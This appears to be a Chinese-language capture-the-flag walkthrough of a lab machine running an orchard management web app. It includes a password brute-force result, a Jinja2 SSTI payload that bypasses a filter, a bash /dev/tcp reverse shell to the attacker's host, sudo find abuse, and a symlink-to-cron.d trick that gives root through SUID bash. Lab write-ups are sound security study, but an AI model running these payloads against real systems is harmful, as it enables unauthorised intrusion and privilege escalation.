

入口

目标 192.168.1.197，扫出来只有 22，80 端口。

只有一个果园管理系统

爆破 admin 密码

```
[80][http-post-form] host: 192.168.1.197  login: admin  password: candygirl
```

SSTI

登录后 /admin/export 有个生成报表功能，页面写了一句"Create a custom inventory report using Jinja2 template syntax"。Jinja2 不就是 Flask 那套模板引擎么。输入 `{{2*2}}`，返回 4。

用链 `().__class__.__base__.__subclasses__()` 找 `os._wrap_close`

这里测试了下内置的可以直接命令执行，"os" 被拦截，改成 `'o' + 's'` 拼接就行。

```
{{lipsum.__globals__['o' + 's'].popen('id').read()}}
```

返回 `uid=33(www-data) gid=33(www-data) groups=33(www-data)`，命令执行成功。

直接弹 shell：

```
{{lipsum.__globals__['o' + 's'].popen('bash -c "bash -i >&/dev/tcp/192.168.1.171/4444 0>&1"').read()}}
```

先看了下 /etc/passwd，只有一个有 bash 的用户：

```
www-data@orchard:~$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
```

```
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
_apt:x:42:65534::/nonexistent:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:998:998:systemd Network Management:/:/usr/sbin/nologin
dhcpcd:x:100:65534:DHCP Client Daemon:/usr/lib/dhcpcd:/bin/false
systemd-timesync:x:991:991:systemd Time Synchronization:/:/usr/sbin/nologin
messagebus:x:990:990:System Message Bus:/nonexistent:/usr/sbin/nologin
sshd:x:989:65534:sshd user:/run/sshd:/usr/sbin/nologin
appuser:x:1000:1000::/home/appuser:/bin/bash
```

提权到 appuser

sudo -l :

```
www-data@orchard:~$ sudo -l
Matching Defaults entries for www-data on localhost:
    env_reset, mail_badpass,

secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User www-data may run the following commands on localhost:
    (appuser) NOPASSWD: /usr/bin/find
```

用 find -exec

```
sudo -u appuser /usr/bin/find . -exec /bin/bash \;
```

确认是 appuser。读 flag:

```
cat /home/appuser/user.txt
flag{user-be8cea7e5cfc1308122d32645e632986}
```

提权到 root

继续看 appuser 的 sudo:

```
appuser@orchard:~$ sudo -l
Matching Defaults entries for appuser on localhost:
    env_reset, mail_badpass,
```

```
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
```

User appuser may run the following commands on localhost:

```
(root) NOPASSWD: /opt/orchard/logctl.sh
```

看下这个脚本：

```
appuser@orchard:~$ cat /opt/orchard/logctl.sh
#!/bin/bash
set -e
CMD="$1"; NAME="$2"
LOGDIR="/var/log/orchard"

if [ -z "$CMD" ] || [ -z "$NAME" ]; then
    echo "Usage: $0 <archive|clean|write> <name>"; exit 1
fi

[[ "$NAME" =~ \.\. ]] && { echo "ERROR: path traversal blocked"; exit 1; }
[[ "$NAME" =~ / ]] && { echo "ERROR: slashes not allowed"; exit 1; }
[[ "$NAME" =~ [*?] ]] && { echo "ERROR: wildcards not allowed"; exit 1; }

NAME_CLEAN="${NAME//[ ^a-zA-Z0-9_.- ]/}"
LOGFILE="$LOGDIR/${NAME_CLEAN}.log"

case "$CMD" in
    archive)
        [ -f "$LOGFILE" ] || { echo "ERROR: $LOGFILE not found"; exit 1; }
        mkdir -p /backups
        gzip -c "$LOGFILE" > "/backups/${NAME_CLEAN}.log.gz"
        echo "OK: archived $LOGFILE" ;;
    clean)
        [ -f "$LOGFILE" ] || { echo "ERROR: $LOGFILE not found"; exit 1; }
        : > "$LOGFILE"
        echo "OK: cleaned $LOGFILE" ;;
    write)
        mkdir -p "$LOGDIR"
        cat >> "$LOGFILE"
        echo "OK: appended to $LOGFILE" ;;
    *) echo "ERROR: unknown command"; exit 1 ;;
esac
```

write 模式从 stdin 读内容写到 /var/log/orchard/<名称>.log，以 root 身份写。

/var/log/orchard/ 目录权限：

```
drwxrwxr-x 2 www-data appuser      4096 Jul 13 04:10 .
drwxr-xr-x 9 root      root        4096 Jul 13 04:54 ..
-rw-r--r-- 1 www-data www-data 6652844 Jul 13 05:06 app.log
-rw-r--r-- 1 root      root        2661 Jul 13 04:10 restore.log
```

appuser 组可写。

于是搞了个符号链接：

```
ln -sf /etc/cron.d/fe /var/log/orchard/shell.log
```

然后写一条 cron 任务进去：

```
echo '* * * * * root chmod 4777 /bin/bash' | sudo /opt/orchard/logctl.sh write
shell
```

一分钟后， /bin/bash 变成 SUID root 了。：

```
/bin/bash -p
whoami
root
```

读 root flag：

```
cat /root/root.txt
flag{root-c6dfd276cca18d48b7b526f8b83560f3}
```